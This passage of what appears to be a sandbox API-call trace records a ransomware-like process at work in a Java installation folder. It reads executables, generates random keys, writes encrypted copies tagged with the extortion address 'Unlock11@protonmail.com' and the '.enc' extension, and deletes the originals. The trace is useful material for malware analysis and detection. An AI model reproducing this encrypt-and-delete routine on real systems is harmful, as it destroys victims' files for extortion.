1 [0124.849] CloseHandle (hObject=0x3ac) returned 1 [0124.849] GetLastError () returned 0x0 [0124.849] GetCurrentThreadId () returned 0x9b0 [0124.849] GetLastError () returned 0x0 [0124.849] GetLastError () returned 0x0 [0124.850] CloseHandle (hObject=0x39c) returned 1 [0124.850] GetLastError () returned 0x0 [0124.850] GetCurrentThreadId () returned 0x9b0 [0124.850] GetLastError () returned 0x0 [0124.850] GetLastError () returned 0x0 [0124.850] GetLastError () returned 0x0 [0124.850] GetLastError () returned 0x0 [0124.850] GetLastError () returned 0x0 [0124.850] DeleteFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javacpl.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javacpl.exe")) returned 1 [0124.852] GetLastError () returned 0x0 [0124.852] GetCurrentThreadId () returned 0x9b0 [0124.853] GetLastError () returned 0x0 [0124.853] GetCurrentThreadId () returned 0x9b0 [0124.853] GetLastError () returned 0x0 [0124.853] GetLastError () returned 0x0 [0124.853] GetLastError () returned 0x0 [0124.853] GetLastError () returned 0x0 [0124.853] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font.dll", lpFilePart=0x9bada4*="javafx_font.dll") returned 0x36 [0124.853] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0124.853] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0124.853] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0124.853] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0124.854] GetCurrentThreadId () returned 0x9b0 [0124.854] GetLastError () returned 0x0 [0124.854] GetLastError () returned 0x0 [0124.854] GetLastError () returned 0x0 [0124.854] GetLastError () returned 0x0 [0124.854] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_font_t2k.dll", lpFilePart=0x9bada4*="javafx_font_t2k.dll") returned 0x3a [0124.854] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0124.854] GetCurrentThreadId () returned 0x9b0 [0124.854] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0124.854] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0124.854] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0124.855] GetLastError () returned 0x0 [0124.855] GetLastError () returned 0x0 [0124.855] GetLastError () returned 0x0 [0124.855] GetLastError () returned 0x0 [0124.855] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll", lpFilePart=0x9bada4*="javafx_iio.dll") returned 0x35 [0124.855] GetCurrentThreadId () returned 0x9b0 [0124.855] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0124.855] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0124.855] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0124.855] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0124.855] GetCurrentThreadId () returned 0x9b0 [0124.856] GetLastError () returned 0x0 [0124.856] GetLastError () returned 0x0 [0124.856] GetLastError () returned 0x0 [0124.856] GetLastError () returned 0x0 [0124.856] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe", lpFilePart=0x9bada4*="javaw.exe") returned 0x30 [0124.856] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0124.856] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0124.856] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0124.856] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0124.856] GetCurrentThreadId () returned 0x9b0 [0124.856] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ead78 [0124.857] GetLastError () returned 0x0 [0124.857] GetLastError () returned 0x0 [0124.857] GetLastError () returned 0x0 [0124.857] GetLastError () returned 0x0 [0124.857] GetCurrentThreadId () returned 0x9b0 [0124.857] GetLastError () returned 0x0 [0124.857] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ead78 | out: hHeap=0x2ad0000) returned 1 [0124.857] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eae90 [0124.857] GetLastError () returned 0x0 [0124.857] GetLastError () returned 0x0 [0124.857] GetLastError () returned 0x0 [0124.858] GetLastError () returned 0x0 [0124.858] GetCurrentThreadId () returned 0x9b0 [0124.858] GetLastError () returned 0x0 [0124.858] GetCurrentThreadId () returned 0x9b0 [0124.858] GetLastError () returned 0x0 [0124.858] GetLastError () returned 0x0 [0124.858] GetLastError () returned 0x0 [0124.858] GetLastError () returned 0x0 [0124.858] GetCurrentThreadId () returned 0x9b0 [0124.858] GetLastError () returned 0x0 [0124.858] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eae90 | out: hHeap=0x2ad0000) returned 1 [0124.859] GetLastError () returned 0x0 [0124.859] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6708 | out: hHeap=0x2ad0000) returned 1 [0124.859] GetLastError () returned 0x0 [0124.859] GetLastError () returned 0x0 [0124.859] GetLastError () returned 0x0 [0124.859] GetCurrentThreadId () returned 0x9b0 [0124.859] GetLastError () returned 0x0 [0124.859] GetLastError () returned 0x0 [0124.859] GetLastError () returned 0x0 [0124.859] GetLastError () returned 0x0 [0124.859] GetLastError () returned 0x0 [0124.860] GetCurrentThreadId () returned 0x9b0 [0124.860] GetLastError () returned 0x0 [0124.860] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8ab68 | out: hHeap=0x2ad0000) returned 1 [0124.860] GetLastError () returned 0x0 [0124.860] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d63c0 | out: hHeap=0x2ad0000) returned 1 [0124.860] GetLastError () returned 0x0 [0124.860] GetLastError () returned 0x0 [0124.860] GetLastError () returned 0x0 [0124.860] GetCurrentThreadId () returned 0x9b0 [0124.860] GetLastError () returned 0x0 [0124.860] GetCurrentThreadId () returned 0x9b0 [0124.861] GetLastError () returned 0x0 [0124.861] GetLastError () returned 0x0 [0124.861] GetLastError () returned 0x0 [0124.861] GetLastError () returned 0x0 [0124.861] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0124.861] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaw.exe"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x32840)) returned 1 [0124.861] GetLastError () returned 0x0 [0124.861] GetCurrentThreadId () returned 0x9b0 [0124.861] GetLastError () returned 0x0 [0124.862] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a6e8 | out: hHeap=0x2ad0000) returned 1 [0124.862] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3657d04 | out: pbBuffer=0x3657d04) returned 1 [0124.862] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0124.862] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3df0 [0124.862] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622750 | out: hHeap=0x2ad0000) returned 1 [0124.862] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eae90 [0124.862] GetCurrentThreadId () returned 0x9b0 [0124.862] GetLastError () returned 0x0 [0124.862] GetLastError () returned 0x0 [0124.862] GetLastError () returned 0x0 [0124.862] GetLastError () returned 0x0 [0124.862] GetCurrentThreadId () returned 0x9b0 [0124.863] GetLastError () returned 0x0 [0124.863] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eae90 | out: hHeap=0x2ad0000) returned 1 [0124.863] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eae90 [0124.863] GetCurrentThreadId () returned 0x9b0 [0124.863] GetLastError () returned 0x0 [0124.863] GetLastError () returned 0x0 [0124.863] GetLastError () returned 0x0 [0124.863] GetLastError () returned 0x0 [0124.863] GetCurrentThreadId () returned 0x9b0 [0124.863] GetLastError () returned 0x0 [0124.863] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eae90 | out: hHeap=0x2ad0000) returned 1 [0124.864] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x3265498 [0124.864] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a3df0 | out: hHeap=0x2ad0000) returned 1 [0124.864] GetLastError () returned 0x0 [0124.864] GetLastError () returned 0x0 [0124.864] GetLastError () returned 0x0 [0124.864] GetLastError () returned 0x0 [0124.864] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0124.864] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x3265538 [0124.864] GetLastError () returned 0x0 [0124.864] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaw.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0124.865] GetFileType (hFile=0x39c) returned 0x1 [0124.865] GetLastError () returned 0x0 [0124.865] GetCurrentThreadId () returned 0x9b0 [0124.865] GetLastError () returned 0x0 [0124.865] GetFileType (hFile=0x39c) returned 0x1 [0124.865] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0124.865] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.865] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.865] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.865] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.865] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.866] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.866] GetLastError () returned 0x0 [0124.866] GetCurrentThreadId () returned 0x9b0 [0124.866] GetLastError () returned 0x0 [0124.866] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265538 | out: hHeap=0x2ad0000) returned 1 [0124.866] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a9e8 | out: hHeap=0x2ad0000) returned 1 [0124.866] GetLastError () returned 0x0 [0124.866] GetLastError () returned 0x0 [0124.866] GetLastError () returned 0x0 [0124.866] GetLastError () returned 0x0 [0124.867] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0124.867] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x3265608 [0124.868] GetLastError () returned 0x0 [0124.868] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaw.exe.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0124.868] GetFileType (hFile=0x3ac) returned 0x1 [0124.868] GetLastError () returned 0x0 [0124.868] GetCurrentThreadId () returned 0x9b0 [0124.868] GetLastError () returned 0x0 [0124.868] GetFileType (hFile=0x3ac) returned 0x1 [0124.868] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0124.869] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.869] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.869] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.869] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.869] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.869] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.869] GetLastError () returned 0x0 [0124.869] GetCurrentThreadId () returned 0x9b0 [0124.869] GetLastError () returned 0x0 [0124.869] GetCurrentThreadId () returned 0x9b0 [0124.869] GetLastError () returned 0x0 [0124.870] GetCurrentThreadId () returned 0x9b0 [0124.870] GetLastError () returned 0x0 [0124.871] GetCurrentThreadId () returned 0x9b0 [0124.872] GetLastError () returned 0x0 [0124.872] GetCurrentThreadId () returned 0x9b0 [0124.872] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0124.872] GetCurrentThreadId () returned 0x9b0 [0124.872] GetLastError () returned 0x0 [0124.874] GetCurrentThreadId () returned 0x9b0 [0124.874] GetLastError () returned 0x0 [0124.874] GetCurrentThreadId () returned 0x9b0 [0124.874] GetLastError () returned 0x0 [0124.875] GetCurrentThreadId () returned 0x9b0 [0124.875] GetCurrentThreadId () returned 0x9b0 [0124.875] GetLastError () returned 0x0 [0124.876] GetCurrentThreadId () returned 0x9b0 [0124.876] GetLastError () returned 0x0 [0124.876] GetCurrentThreadId () returned 0x9b0 [0124.877] GetLastError () returned 0x0 [0124.877] GetCurrentThreadId () returned 0x9b0 [0124.877] GetCurrentThreadId () returned 0x9b0 [0124.877] GetLastError () returned 0x0 [0124.878] GetCurrentThreadId () returned 0x9b0 [0124.878] GetLastError () returned 0x0 [0124.878] GetCurrentThreadId () returned 0x9b0 [0124.878] GetLastError () returned 0x0 [0124.879] GetCurrentThreadId () returned 0x9b0 [0124.879] GetCurrentThreadId () returned 0x9b0 [0124.879] GetLastError () returned 0x0 [0124.879] GetCurrentThreadId () returned 0x9b0 [0124.879] GetLastError () returned 0x0 [0124.879] GetCurrentThreadId () returned 0x9b0 [0124.879] GetLastError () returned 0x0 [0124.879] CloseHandle (hObject=0x3ac) returned 1 [0124.880] GetCurrentThreadId () returned 0x9b0 [0124.880] GetLastError () returned 0x0 [0124.880] CloseHandle (hObject=0x39c) returned 1 [0124.880] GetCurrentThreadId () returned 0x9b0 [0124.880] GetLastError () returned 0x0 [0124.880] DeleteFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaw.exe")) returned 1 [0124.882] GetLastError () returned 0x0 [0124.883] GetCurrentThreadId () returned 0x9b0 [0124.883] GetLastError () returned 0x0 [0124.883] GetCurrentThreadId () returned 0x9b0 [0124.883] GetLastError () returned 0x0 [0124.883] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe", lpFilePart=0x9bada4*="javaws.exe") returned 0x31 [0124.883] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262ec8 [0124.883] GetCurrentThreadId () returned 0x9b0 [0124.883] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eae90 [0124.883] GetCurrentThreadId () returned 0x9b0 [0124.883] GetLastError () returned 0x0 [0124.883] GetCurrentThreadId () returned 0x9b0 [0124.884] GetLastError () returned 0x0 [0124.884] GetCurrentThreadId () returned 0x9b0 [0124.884] GetCurrentThreadId () returned 0x9b0 [0124.884] GetLastError () returned 0x0 [0124.884] GetCurrentThreadId () returned 0x9b0 [0124.884] GetLastError () returned 0x0 [0124.884] GetCurrentThreadId () returned 0x9b0 [0124.884] GetLastError () returned 0x0 [0124.884] GetCurrentThreadId () returned 0x9b0 [0124.884] GetLastError () returned 0x0 [0124.884] GetCurrentThreadId () returned 0x9b0 [0124.884] GetLastError () returned 0x0 [0124.885] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaws.exe"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4e040)) returned 1 [0124.885] GetLastError () returned 0x0 [0124.885] GetCurrentThreadId () returned 0x9b0 [0124.885] GetLastError () returned 0x0 [0124.885] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3657c64 | out: pbBuffer=0x3657c64) returned 1 [0124.885] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0124.885] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3ae0 [0124.885] GetCurrentThreadId () returned 0x9b0 [0124.885] GetCurrentThreadId () returned 0x9b0 [0124.886] GetLastError () returned 0x0 [0124.886] GetCurrentThreadId () returned 0x9b0 [0124.886] GetCurrentThreadId () returned 0x9b0 [0124.886] GetLastError () returned 0x0 [0124.886] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaws.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0124.886] GetFileType (hFile=0x39c) returned 0x1 [0124.886] GetCurrentThreadId () returned 0x9b0 [0124.886] GetLastError () returned 0x0 [0124.886] GetFileType (hFile=0x39c) returned 0x1 [0124.887] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0124.887] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.887] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.887] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.887] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.887] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.887] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.887] GetLastError () returned 0x0 [0124.887] GetCurrentThreadId () returned 0x9b0 [0124.887] GetLastError () returned 0x0 [0124.887] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32655a8 | out: hHeap=0x2ad0000) returned 1 [0124.887] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8aaa8 | out: hHeap=0x2ad0000) returned 1 [0124.887] GetLastError () returned 0x0 [0124.888] GetLastError () returned 0x0 [0124.888] GetLastError () returned 0x0 [0124.888] GetLastError () returned 0x0 [0124.888] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0124.888] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x32654b8 [0124.888] GetLastError () returned 0x0 [0124.888] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaws.exe.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaws.exe.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0124.888] GetFileType (hFile=0x3ac) returned 0x1 [0124.889] GetLastError () returned 0x0 [0124.889] GetCurrentThreadId () returned 0x9b0 [0124.889] GetLastError () returned 0x0 [0124.889] GetFileType (hFile=0x3ac) returned 0x1 [0124.889] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0124.889] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.889] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.889] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.889] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.889] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0124.889] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0124.889] GetLastError () returned 0x0 [0124.890] GetCurrentThreadId () returned 0x9b0 [0124.890] GetLastError () returned 0x0 [0124.890] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32654b8 | out: hHeap=0x2ad0000) returned 1 [0124.890] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a20f0 | out: hHeap=0x2ad0000) returned 1 [0124.890] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881078 [0124.890] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0124.890] GetLastError () returned 0x0 [0124.890] GetLastError () returned 0x0 [0124.890] GetCurrentThreadId () returned 0x9b0 [0124.890] GetLastError () returned 0x0 [0124.890] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0124.891] GetLastError () returned 0x0 [0124.891] GetLastError () returned 0x0 [0124.891] GetCurrentThreadId () returned 0x9b0 [0124.891] GetLastError () returned 0x0 [0124.891] GetLastError () returned 0x0 [0124.893] GetLastError () returned 0x0 [0124.893] GetCurrentThreadId () returned 0x9b0 [0124.893] GetLastError () returned 0x0 [0124.893] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265498 | out: hHeap=0x2ad0000) returned 1 [0124.893] GetCurrentThreadId () returned 0x9b0 [0124.894] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0124.894] GetLastError () returned 0x0 [0124.894] GetLastError () returned 0x0 [0124.894] GetLastError () returned 0x0 [0124.894] GetLastError () returned 0x0 [0124.894] GetCurrentThreadId () returned 0x9b0 [0124.894] GetLastError () returned 0x0 [0124.894] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0124.895] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881180 [0124.895] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0124.895] GetLastError () returned 0x0 [0124.896] GetLastError () returned 0x0 [0124.897] GetCurrentThreadId () returned 0x9b0 [0124.897] GetLastError () returned 0x0 [0124.897] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0124.897] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0124.897] GetLastError () returned 0x0 [0124.900] GetLastError () returned 0x0 [0124.900] GetCurrentThreadId () returned 0x9b0 [0124.900] GetLastError () returned 0x0 [0124.900] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0124.900] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265608 [0124.900] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32655a8 | out: hHeap=0x2ad0000) returned 1 [0124.900] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0124.900] GetCurrentThreadId () returned 0x9b0 [0124.900] GetLastError () returned 0x0 [0124.901] GetLastError () returned 0x0 [0124.901] GetLastError () returned 0x0 [0124.901] GetLastError () returned 0x0 [0124.901] GetCurrentThreadId () returned 0x9b0 [0124.901] GetLastError () returned 0x0 [0124.901] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0124.901] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0124.901] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0124.902] GetLastError () returned 0x0 [0124.903] GetLastError () returned 0x0 [0124.903] GetCurrentThreadId () returned 0x9b0 [0124.903] GetLastError () returned 0x0 [0124.903] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37940d0 | out: hHeap=0x2ad0000) returned 1 [0124.903] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0124.903] GetLastError () returned 0x0 [0124.905] GetLastError () returned 0x0 [0124.905] 